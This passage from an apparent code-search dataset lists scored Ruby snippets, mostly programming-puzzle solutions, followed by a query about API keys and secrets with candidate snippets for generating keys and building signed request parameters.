"afd4083898e8b0a53a08b37c003cfe5c", "score": "0.56030005", "text": "def decodeHalfway(input)\n sum = 0\n\n # Only have to loop through half the array since the numbers are being compared halfway around\n # Multiply each matching character by 2 to compensate for not looping through its pair\n input.chars[0..input.length/2 - 1].each_with_index do |char, i|\n sum += 2*char.to_i if char == input[i + input.length/2]\n end\n sum\nend", "title": "" }, { "docid": "07862afe72a8a9b28245b89945058ca3", "score": "0.56000805", "text": "def oddball(arr)\n a, b, c = arr\n if a %2 == b %2\n expected = a %2\n arr.drop(2).each{|n| return n if n != a}\n elsif a%2 == c %2\n return b\n else\n return a\n end\nend", "title": "" }, { "docid": "339f7683874149c5449010d85f59b7b4", "score": "0.5589192", "text": "def problem_six\n (1.upto(100).reduce(:+)) ** 2 - (1.upto(100).map { |n| n ** 2 }).reduce { |sum, n| sum + n }\n end", "title": "" }, { "docid": "b65619a33550fcb90621b7dedc97eb4a", "score": "0.558745", "text": "def solution(roman)\n split = roman.split(\"\")\n last_value = 0\n split.reduce(0) do |final, char|\n current = CONVERSION[char.upcase]\n binding.pry\n if current >= last_value\n final += current\n else\n final -= current\n end\n binding.pry\n last_value = current\n final\n end\nend", "title": "" }, { "docid": "b42eb4465b169f1981dfe468aa02c55e", "score": "0.5567024", "text": "def problem3 n\n 2.step(n,1).each do |x|\n return x-1 if n == 1\n n /= x if x.prime? && (n % x == 0)\n end\nend", "title": "" }, { "docid": "b8247964d2fa40a4082efcb16de2f0a0", "score": "0.5565705", "text": "def day_2_part_2\n noun = 0\n verb = 0\n\n while noun < 100\n while verb < 100\n if compute(noun, verb) == 19690720\n return (100 * noun) + verb\n end\n verb += 1\n end\n noun += 1\n verb = 0\n end\nend", "title": "" }, { "docid": "27642489b728f4d1034fbd38d2ee3dde", "score": "0.5559775", "text": "def solution(a)\n number = a.to_s.chars\n first_arrays = []\n (number.length/2).times do\n first_arrays << number.shift\n first_arrays << number.rotate(number.length-1).shift\n number.pop\n end\n ( first_arrays + number ).join(\"\").to_i\nend", "title": "" }, { "docid": "10c9f7de6773cf9654d6cc5357c1b219", "score": "0.55591756", "text": "def code\n d = a + (7 * 362)\n b = c = 0\n loop do\n a = d\n while a != 0\n b = a\n a = 0\n loop do\n c = 2\n while c != 0\n break if b == 0\n\n b -= 1\n c -= 1\n end\n break if b == 0\n\n a += 1\n end\n b = 2 - c\n c = 0\n puts b\n end\n end\n end", "title": "" }, { "docid": "cec8cdd07b9ddbe218324e492d764349", "score": "0.55533826", "text": "def recursive_solution\n\n end", "title": "" }, { "docid": "2c5090c0737e63ee23f1300ec3567b3d", "score": "0.5551335", "text": "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "title": "" }, { "docid": "a1d0ab84f51d63c330c1975d0d8199cb", "score": "0.55496114", "text": "def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend", "title": "" }, { "docid": "b214c249bf03c40c9ef18e988bd417e1", "score": "0.5537051", "text": "def solve(s)\n answer = \"\"\n (0...s.length - 1).each do |idx|\n if s[idx] != s[idx + 1]\n answer += s[idx]\n end\n if idx == s.length - 2 && s[idx] == s[idx + 1]\n answer += s[idx]\n end\n end\n return answer\nend", "title": "" }, { "docid": "41785b535108a22cc6b08bf08cd5af00", "score": "0.55364275", "text": "def solution(n)\n sum = 0\n (1...n).each do |elem|\n sum += elem if elem % 3 == 0 or elem % 5 == 0\n end\n sum\nend", "title": "" }, { "docid": "5f7d2dbf25bbeea1846c6259e89ff502", "score": "0.55362564", "text": "def run_tests()\n check_solution(1, [1, 3, 5, 4], [5])\n check_solution(2, [4, 2, 3, 6, 10], [4, 10])\n check_solution(3, [4, 2, 11, 6, 10], [4, 11, 10])\nend", "title": "" }, { "docid": "4bd0de1c4e956d752ca0aa93e907b1cc", "score": "0.5533353", "text": "def solution(number)\n counter = 3\n sol = 0\n while counter < number\n if (counter % 3 == 0) && (counter % 5 == 0)\n sol += counter\n elsif (counter % 3 == 0) || (counter % 5 == 0)\n sol += counter\n end\n counter += 1\n end\n p sol\nend", "title": "" }, { "docid": "2c7792113f3e6a7b897090f47ee25903", "score": "0.5532716", "text": "def run_tests\n check_solution(1, (100..200).to_a, 135, 35)\n check_solution(2, [13, 19, 24, 29, 32, 37, 43], 35, -1)\nend", "title": "" }, { "docid": "b2d01cf985aedf2133d14fdc88437f5d", "score": "0.5531279", "text": "def solution5(input)\n # Approach\n # Map over the initial array (to return a transformed array)\n # Map over each interal array (to return a transformed array)\n # Creates an enumerable range up to the value in the array\n # Multiple each value in the range using the inject method\n # which iterates and keeps the running total\n\n # Final solution\n # Uses shorthand version of inject\n # Remove the useless multiple by 1\n # Note the use of the starting value of 1 for inject\n # which makes 0!=1 class Quiz\n # find even values\n def solution1(input)\n # Final solution\n input.flatten.select do |value|\n value.even?\n end\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.select do |value|\n # value.even?\n # end\n # end.flatten\n end\n\n # find value sum\n def solution2(input)\n # Final Solution\n input.flatten.inject(:+)\n\n # Second solution:\n # Works correctly\n # Doesn't use shortcut version of inject\n #\n # input.flatten.inject do |sum, value|\n # sum += value\n # end\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.inject do |sum, value|\n # sum += value\n # end\n # end.inject do |sum, value|\n # sum += value\n # end\n end\n\n # find max value\n def solution3(input)\n # Final solution\n input.flatten.max\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.max\n # end.max\n end\n\n # sum the array lengths\n def solution4(input)\n # Final solution\n input.map(&:length).inject(0, :+)\n\n # Second solution:\n # Works correctly\n # Doesn't use shortcut version of inject\n #\n # input.map(&:length).inject{|sum, value| sum += value}\n\n # First solution:\n # Works correctly\n # Unoptimized\n #\n # input.map do |ary|\n # ary.length\n # end.inject {|sum, value| sum += value}\n end\n\n # transform to factorials\n # Factorial is defined as the product of all the whole numbers from 1 to n\n # Examples:\n # 4! = 4*3*2*1\n # 1! = 1\n # 0! = 1\n def solution5(input)\n # Approach\n # Map over the initial array (to return a transformed array)\n # Map over each interal array (to return a transformed array)\n # Creates an enumerable range up to the value in the array\n # Multiple each value in the range using the inject method\n # which iterates and keeps the running total\n\n # Final solution\n # Uses shorthand version of inject\n # Remove the useless multiple by 1\n # Note the use of the starting value of 1 for inject\n # which makes this work properly for all values (including 0, 1)\n input.map do |ary|\n ary.map do |value|\n (2..value).inject(1, :*)\n end\n end\n\n # First solution\n # Mostly optimized\n # Does 1 more multiplication than needed (mult by 1)\n #\n # input.map do |ary|\n # ary.map do |value|\n # (1..value).inject(1) do |factorial, value|\n # factorial *= value\n # end\n # end\n # end\n end\nend", "title": "" }, { "docid": "7be80e9f81c75b087e989f33ba8092e7", "score": "0.55307215", "text": "def solution(a)\n # write your code in Ruby 2.2\n permutation = Array(1..a.size)\n # puts permutation\n return 1 if permutation - a == []\n 0\nend", "title": "" }, { "docid": "11e00136309f621908b71f69ef6bd8de", "score": "0.55296177", "text": "def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend", "title": "" }, { "docid": "84f5ee5692f9c6851cfaeadc76d28ca9", "score": "0.5528848", "text": "def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend", "title": "" }, { "docid": "84f5ee5692f9c6851cfaeadc76d28ca9", "score": "0.5528848", "text": "def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend", "title": "" }, { "docid": "84f5ee5692f9c6851cfaeadc76d28ca9", "score": "0.5528848", "text": "def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend", "title": "" }, { "docid": "0e327f382de084efc59140ad2970b9b8", "score": "0.5527377", "text": "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "title": "" }, { "docid": "6102d628d6d63d9ee9f00ef7d54c6b21", "score": "0.55249965", "text": "def solution(s)\n if s.length.odd?\n center = s.length / 2\n if s[0...center] == s[center + 1..s.length].reverse\n return center \n end\n end\n -1\nend", "title": "" }, { "docid": "22f00f39d603229b79c5bf8472f373a0", "score": "0.5513839", "text": "def solve(s)\n answer = \"\"\n arr = s.split('')\n hash = Hash.new(0)\n arr.each_with_index do |el, idx|\n if el.to_i >= 1\n if arr[idx + 1] == \"(\"\n el.to_i.times do \n if arr[idx + 2].to_i >= 1\n if arr[idx + 3] == \"(\"\n arr[idx + 2].to_i.times do \n answer += (arr[(idx + 4)...arr.index(\")\")].join(''))\n end\n end\n end\n answer += (arr[(idx + 2)...arr.index(\")\")].join(''))\n end\n \n # hash[arr[idx + 1]] += 1\n end\n end\n \n end\n return answer\nend", "title": "" }, { "docid": "94db8b9035bf7479b3b5620e0c9174c9", "score": "0.5508903", "text": "def solution(string)\n # lowers = string.scan(/[a-z]+[A-Z]/).join\n uppers = string.scan(/[A-Z][^A-Z]+/).join(' ')\n # lowers + \" \" + uppers\n # require 'pry'; binding.pry\n\nend", "title": "" }, { "docid": "2699069f0b0d53148146d1d61e57bc56", "score": "0.54949135", "text": "def solve\n sum = 0\n (1..999).each do |n|\n if n % 3 == 0 or n % 5 == 0\n sum += n\n end\n end\n sum\nend", "title": "" }, { "docid": "79bfceca24283aeffbf11a0b94149103", "score": "0.5493692", "text": "def solution(a, b, k)\n # write your code in Ruby 2.2\n e = b / k\n s = (a-1) / k\n\n e - s\nend", "title": "" }, { "docid": "98ed5a760cfc0a12c218af7adfe0c420", "score": "0.54910994", "text": "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "title": "" }, { "docid": "fa19fb3e173b39905bda2a9921e42992", "score": "0.54894507", "text": "def solution(digits)\n result = 0\n digits.size.times do |n|\n new_number = digits[n...(n + 5)].to_i\n result = new_number if new_number > result\n end\n result\nend", "title": "" }, { "docid": "085d7fd643938eede065145210a1d8d9", "score": "0.54886913", "text": "def clumsy(n)\n a = (1..n).to_a.reverse\n \n result = [a[0]]\n \n a[1..a.size - 1].each_with_index do |num, index|\n if index % 4 == 0\n result << '*'\n elsif index % 4 == 1 \n result << '/'\n elsif index % 4 == 2\n result << '+'\n else\n result << '-'\n end\n \n result << num\n end\n \n result = multiply_and_divide_all_results(result)\n \n add_and_subtract_all_results(result)\nend", "title": "" }, { "docid": "5c657503fddf322c22cf819628173569", "score": "0.548494", "text": "def solution(number)\n return 0 if number <= 3\n\n sum = 0\n (1..(number - 1)).each do |n|\n if (n % 3 == 0) || (n % 5 == 0)\n sum += n\n end\n end\n\n sum\nend", "title": "" }, { "docid": "5f02d7ebc08c70831b6203c0e7147c69", "score": "0.5484344", "text": "def pzoe\n sum = 0\n (0..9).each do |a|\n (0..9).each do |b|\n (0..9).each do |c|\n (0..9).each do |e|\n (0..9).each do |f|\n (0..9).each do |g|\n sum += a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g if a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g == a ** 5 + b ** 5 + c ** 5 + e ** 5 + f ** 5 + g ** 5\n end\n end\n end\n end\n end\n end\n sum - 1\nend", "title": "" }, { "docid": "117c87d58d65c200c96d2cff27c53f7c", "score": "0.5483689", "text": "def hackerrankInString(str)\n expected_chars = %w[h a c k e r r a n k]\n input_chars = str.chars\n\n str.chars.each do |char|\n # Thought so, apparently not: Edge case: there should be no more chars after the last 'k' in hackerrank.\n # break if expected_chars.empty?\n\n input_chars.shift\n expected_chars.shift if char == expected_chars[0]\n end\n\n expected_chars.empty? && input_chars.empty? ? 'YES' : 'NO'\nend", "title": "" }, { "docid": "034b369a6a4d2fb7b4420415908d3f71", "score": "0.5479174", "text": "def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend", "title": "" }, { "docid": "d70287e43cc1157f459022ef7d696a24", "score": "0.5477775", "text": "def sol inp\n k, ins = inp.split(' ',2)\n k = k.to_i\n ps, pr, pi, pu, pw, pd, pl = ins.split.map(&:to_f)\n\n @ps = ps\n @pr = pr\n @pu = pu\n @pw = pw\n @pd = pd\n @pl = pl\n\n #\n # required_wins = 2\n # # winning 1st set\n # first_set = ps*pi + pr*(1-pi)\n # # winning 2nd set\n # first_set * winning_another_set + (1-first_set)*winning_another_set\n #\n # required_wins.times do |i|\n # count = 0\n # while count <= i\n # wins[i] = win_scene(pi,ps,pr, count)\n # count+=1\n # break if count == i\n # lose_scene(pi,ps,pr, pr,count)\n # end\n # end\n\n # winning second set after winning first + winning second set after winning one\n # wins[0]*win_scene(pi,ps,pr) + (1-wins[0])*lose_scene(pi,ps,pr)\n\n def win_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"w #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi+(@pu*@pw))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins+1\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins)#+ (1-chance)*lose\n end\n end\n\n def lose_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"l #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi-(@pd*@pl))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins) #+ (1-chance)*lose\n end\n end\n\n # a = win_scene(pi,0,1,0)\n b = win_scene(pi,0,k,0)\n c = lose_scene(pi,0,k,0)\n # c = (k > 1) ? lose_scene(pi,1,k,0) : 0\n\n puts b\n puts c\n b +c\n # wtf?\n # 0.4* win_scene(pi,0,k,0)+ (1-0.6)*lose_scene(pi,0,k,0)\n\n# def smth(pi, ps, pr, setcount=0)\n# arr[1] = arr[0]\n# end\n# # set 2+ ?\n# set2 = ((ps+pu)*pw + ps*(1-pw))*pi\n# (1-set1)*((ps-pd)*pl + ps*(1-pl))\n# if k > 1\n# (k-1).times do\n#\n# end\n# end\nend", "title": "" }, { "docid": "86460f1eb5dea4ea117f4cd8b4b400d1", "score": "0.54762626", "text": "def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend", "title": "" }, { "docid": "8b89da3f233d4a0e699497a27f6ab342", "score": "0.54738945", "text": "def solution(num)\n sum_of_squares = 0\n\n (1..num).each do |number|\n sum_of_squares += number**2\n end\n\n square_of_sums = (1..num).inject(:+) ** 2\n\n p (square_of_sums - sum_of_squares).abs\nend", "title": "" }, { "docid": "cc01c5884d04791436c792567fafb5d5", "score": "0.5471545", "text": "def solution(n)\n n.to_s(2).reverse.to_i.to_s.split('1').map(&:length).max || 0\nend", "title": "" }, { "docid": "f0bd974b3615b717ae12eb99b586ff24", "score": "0.54705244", "text": "def solution(digits)\n\tstop = digits.length - 4\n\tgo = 0\n\tlargest_number = 0\n\tindex = 0\n\n\twhile go < stop\n\t\ttest = \"\"\n\t\textra_index = index\n\t\t5.times do \n\t\t\ttest += digits[extra_index].to_s\n\t\t\textra_index += 1 \n\t\tend\n\t\tif test.to_i > largest_number\n\t\t\tlargest_number = test.to_i\n\t\tend \n\t\tindex += 1\n\t\tgo += 1 \n\tend \n\tlargest_number\nend", "title": "" }, { "docid": "4dc93c2bb6c313cbead36f0a30781c1a", "score": "0.54701644", "text": "def solution(num)\n (1..num-1).select {|x| x % 3 == 0 || x % 5 == 0 }.inject(:+)\n # inject method is like reduce \n # can take in a range or array of numbers and optionally receive a block\n # passes each element and accumulates each sequentially\nend", "title": "" }, { "docid": "72dc06196dfda39b3b6243930e52be3e", "score": "0.54679406", "text": "def solution(n)\n # write your code in Ruby 2.2\n a = n.to_s(2)\n arr = []\n if a[-1] == '1'\n arr = a.split('1')\n else\n arr = a.split('1')\n arr.pop\n end\n if arr.max.nil?\n 0\n else\n arr.max.length\n end\nend", "title": "" }, { "docid": "7de4d94e68c137a2f2fb3c5edbca485a", "score": "0.54675287", "text": "def compute\n perimeter = 1000\n (1..(perimeter+ 1)).each do |a|\n ((a + 1)..(perimeter + 1)).each do |b|\n c = perimeter - a - b\n return (a * b * c).to_s if (a * a + b * b == c * c)\n end\n end\nend", "title": "" }, { "docid": "7223142cabb423db73ba99096e4f76e7", "score": "0.5466319", "text": "def solution(n)\n sum = 0\n (1...n).each { |num| num % 3 == 0 || num % 5 == 0 ? sum += num : false }\n sum\nend", "title": "" }, { "docid": "13aad011b0cdb981caab73ec433fd731", "score": "0.54636246", "text": "def solution(x, y, d)\r\n # write your code in Ruby 2.2\r\n i=1\r\n loop do\r\n s=x+i*d\r\n \r\n break if(s>=y)\r\n \r\n i+=1\r\n end \r\n i\r\nend", "title": "" }, { "docid": "66c23e529a6a36abc70e24ea0b83e8ab", "score": "0.54636055", "text": "def sumn2(n)\n result = 0\n 1.upto(n) { |e| result += e if (e % 3 == 0) ^ (e % 5 == 0) }\n puts result\nend", "title": "" }, { "docid": "fbf4b639e2f24781da484d63c317bed2", "score": "0.5461591", "text": "def scoobydoo(villian, villians)\n letters = ('a'..'z').to_a\n numbers = (0..25).to_a\n letters_to_numbers = letters.zip(numbers).to_h\n numbers_to_letters = numbers.zip(letters).to_h\n\n villians_downcase = villians.map { |v| v.downcase.delete(' ') }\n villians_hash = (villians_downcase).zip(villians).to_h\n\n s = villian.reverse.chars.rotate(5)\n new = []\n (0...s.size).each do |i|\n if i.even?\n new[i] = s[i]\n else\n num = (letters_to_numbers.fetch(s[i]) + 5) % 26\n new[i] = numbers_to_letters.fetch(num)\n end\n end\n\n villians_hash.fetch(new.join)\n\nend", "title": "" }, { "docid": "827aaf29a0370415c81910d49ac40e78", "score": "0.54549885", "text": "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "title": "" }, { "docid": "67295e80a8da9bf6c7034a90912d7c3c", "score": "0.54529643", "text": "def solution(n)\n\t(1..n).map(&:to_s).map(&:chars).join.chars.map(&:to_i).reduce(:+)\nend", "title": "" }, { "docid": "a17c7cd3652e3d84803265f2e65f803a", "score": "0.5452522", "text": "def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end", "title": "" }, { "docid": "f83beee7264f19ff23fa689c617bcfb2", "score": "0.5451204", "text": "def hard(input)\n to = input / 10\n houses = Array.new(to, 0)\n (1..to).each do |n|\n count = 0\n n.step(by: n, to: to - 1) do |i|\n houses[i] += 11 * n\n count += 1\n break if count == 50\n end\n end\n houses.index { |count| count >= input }\nend", "title": "" }, { "docid": "2481cbf165330db256eee896a32c82e4", "score": "0.5447057", "text": "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "title": "" }, { "docid": "e8880fe60869bc9668a8d99bd4ae3115", "score": "0.5446101", "text": "def solveProblem lst\n big = -1\n numbers = {}\n half = lst.length / 2\n lst.each do |i|\n if numbers.has_key?(i) then\n numbers[i] += 1\n else\n numbers[i] = 1\n end\n if numbers[i] > half then return i end\n end\n return big\nend", "title": "" }, { "docid": "64d22b527e181900298ca23c74c78dfc", "score": "0.5444753", "text": "def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend", "title": "" }, { "docid": "64d22b527e181900298ca23c74c78dfc", "score": "0.5444753", "text": "def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend", "title": "" }, { "docid": "f36c14d9a209a2b765a8a73fbeeb4d4d", "score": "0.5443933", "text": "def brut_force_solution\n (1...1000).inject(0){|sum, digit| ((digit % 3 == 0) || (digit % 5 == 0)) ? sum += digit : sum}\nend", "title": "" }, { "docid": "3495b61c9a425a6971bf8bf4ace66fa3", "score": "0.5436928", "text": "def stylish_chef\n best_hairstyle = \"Guy Fieri\"\n return \"Martha Stewart\"\n \"Guy Fieri\"\nend", "title": "" }, { "docid": "7e013bbd2859d49192a211ec7da5efb7", "score": "0.5433253", "text": "def fibonacci\n\n # write a fibonacci sequence\n # make an array\n fibonacci_sequence = [1, 2, 3, 5, 8]\n while true\n the_length = fibonacci_sequence.count - 1\n if fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1] > 4000000\n break\n end\n fibonacci_sequence << (fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1])\n end\n # p fibonacci_sequence\n\n # find the even numbers in an array\n # find if a particular number is even\n # make a loop to check them all\n even_array = []\n fibonacci_sequence.each do |number|\n if number % 2 == 0\n even_array << number\n else\n end\n end\n\n p even_array\n\n sum = 0\n even_array.each do |number|\n sum += number\n end\n\n p sum\nend", "title": "" }, { "docid": "68b52f51f4be623bbd3896d7c026ca83", "score": "0.54330033", "text": "def solution(x, b)\n puts x\nputs b\nend", "title": "" }, { "docid": "196148ae6616eed7eeb97badf050b421", "score": "0.5432477", "text": "def happy? n\n visited = []\n until n == 1 || visited.include?(n)\n visited << n\n n = n.to_s.chars.map{ |x| x.to_i * x.to_i }.inject{ |sum, x| sum + x }\n end\n n == 1\nend", "title": "" } ]
166a238d9b02522c4d9fb3f2e22dedc4
Adds an APIKEY and and APISECRET for a specified date range Method is chainable.
[ { "docid": "4ba48c3f2e4a1db6e255759142bb4071", "score": "0.48654678", "text": "def add_key(active_range, key, secret)\n @vendor_keys << VendorKey.new(active_range, key, secret)\n self\n end", "title": "" } ]
[ { "docid": "1af396a4df9f2d0cea6f6855044cc54e", "score": "0.5964116", "text": "def build_args(start_date, end_date)\n unless @environment_mode == \"production\"\n start_date = Date.new(2013,7,29)\n end_date = Date.new(2013,8,5)\n end\n\n {\n \"connectionID\" => @connection_id,\n \"apiKey\" => @api_key,\n \"startDate\" => start_date,\n \"endDate\" => end_date,\n }\n end", "title": "" }, { "docid": "3d6beb1b835418a54deacaeb9fd769ab", "score": "0.5870163", "text": "def extend\n @expires = extend_api_key(params[:apikey])\n return if @expires\n @error = 'Invalid API key'\n render status: 401\n end", "title": "" }, { "docid": "41d29949322e39922d8bc48a9ea4f587", "score": "0.5651051", "text": "def build_params(params)\n params.to_h.merge access_token: Rails.application.config.API_key\n end", "title": "" }, { "docid": "86fd3763c9f41cc6648883bca9877a32", "score": "0.55890816", "text": "def required_api_key_parts; end", "title": "" }, { "docid": "c9c256bb973f361c2764799393f271fa", "score": "0.55529237", "text": "def append_common_params params\n \n # Add an expires value if it has not been added already\n params[\"expires\"] ||= (Time.now.to_i + 30).to_s\n \n # Sign the request\n params[\"signature\"] = self.generate_signature_from_params(params)\n \n # Add our key\n params[\"key\"] = @episodic_api_key \n end", "title": "" }, { "docid": "e26c9cce3354ceb7731396e37b5b0768", "score": "0.543314", "text": "def merged(options)\n {key: api_key}.merge(options)\n end", "title": "" }, { "docid": "078ba820651fb2d13ea73ce7d276268d", "score": "0.5428021", "text": "def generate_initial_key_and_secret\n api_key = \"\"\n secret = \"\"\n loop do\n api_key = \"api_key_\" + SecureRandom.base64.tr('+/=', 'Qrt')\n break api_key unless ApiAccessKey.exists?(api_key: api_key).present?\n end\n loop do\n secret = \"secret_\" + SecureRandom.base64.tr('+/=', 'Qrt')\n break secret unless ApiAccessKey.exists?(secret: secret).present?\n end \n \n #create new keys.\n self.update!(:api_key => api_key, :secret => secret, :active => true)\n puts \"#{self.client_name}'s new key: #{api_key} secret: #{secret}\"\n \n end", "title": "" }, { "docid": "9fb299ca8d3fdde91554b73dafb72580", "score": "0.54252845", "text": "def api_keys(username, password, expired = false)\n @chimpApi.call(\"apikeys\", username, password, @config[:api_key], expired)\n end", "title": "" }, { "docid": "1e0d9b48bed1056029e1b7cc77ea0c15", "score": "0.54026675", "text": "def create_token\n begin\n self.apikey = ApiKey.generate[1].to_s\n # set expired date for apikey until the day changed\n self.expired_date = Date.today + 1\n\n end while self.class.exists?(apikey: apikey)\n end", "title": "" }, { "docid": "d1bb1b6c4aab97467ea946f8a60eac09", "score": "0.5312322", "text": "def merge_key(params = {})\n if self.use_api_key\n params.merge({self.api_key_name => self.api_key})\n else\n params\n end\n end", "title": "" }, { "docid": "334bb199d0fe27321b245dfaaf18fefb", "score": "0.5308117", "text": "def required_parameters\n params = \"apiKey=#{CGI.escape(@@api_key)}\"\n params += \"&secret=#{CGI.escape(@@api_secret)}\"\n params += \"&format=json\"\n end", "title": "" }, { "docid": "f433eb31536b958e2dbf75401a73e3db", "score": "0.5289214", "text": "def api_key=(_arg0); end", "title": "" }, { "docid": "f433eb31536b958e2dbf75401a73e3db", "score": "0.5289214", "text": "def api_key=(_arg0); end", "title": "" }, { "docid": "f433eb31536b958e2dbf75401a73e3db", "score": "0.5289214", "text": "def api_key=(_arg0); end", "title": "" }, { "docid": "f433eb31536b958e2dbf75401a73e3db", "score": "0.5289214", "text": "def api_key=(_arg0); end", "title": "" }, { "docid": "f433eb31536b958e2dbf75401a73e3db", "score": "0.5289214", "text": "def api_key=(_arg0); end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.52838176", "text": "def api_key; end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.52838176", "text": "def api_key; end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.52838176", "text": "def api_key; end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.52838176", "text": "def api_key; end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.52838176", "text": "def api_key; end", "title": "" }, { "docid": "2b50842dc0ce4c34ef3a33276af29a87", "score": "0.5279621", "text": "def date_filter\n case @endpoints\n when nil\n [:with_credits_between, 10.years.ago,1.second.from_now]\n else\n [:with_credits_between, @endpoints[0],@endpoints[1]]\n end\n end", "title": "" }, { "docid": "0c72c4be37b0f514ec157f75d786fc86", "score": "0.5279523", "text": "def request_params\n { api_key: api_key }\n end", "title": "" }, { "docid": "0ec7cb9d8f761f43bff2287f6acd11ce", "score": "0.5274279", "text": "def api_key; \"055a1100-a84d-4064-84d7-bce46f7b80c8\"; end", "title": "" }, { "docid": "dd65f086d0e35b7a13b3d71933766719", "score": "0.5240127", "text": "def generate_api_secret\n if api_client\n api_client.assign_code_and_secret\n api_client.save!\n else\n create_api_client(link: \"/organizations/#{id}\",\n display_name: to_s)\n end\n end", "title": "" }, { "docid": "fc6bf7c44307b78388af5bdcbbf507da", "score": "0.52366525", "text": "def api_key_create_key(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: ApiKeyApi#api_key_create_key ...\"\n end\n \n # resource path\n path = \"/apiKey\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = 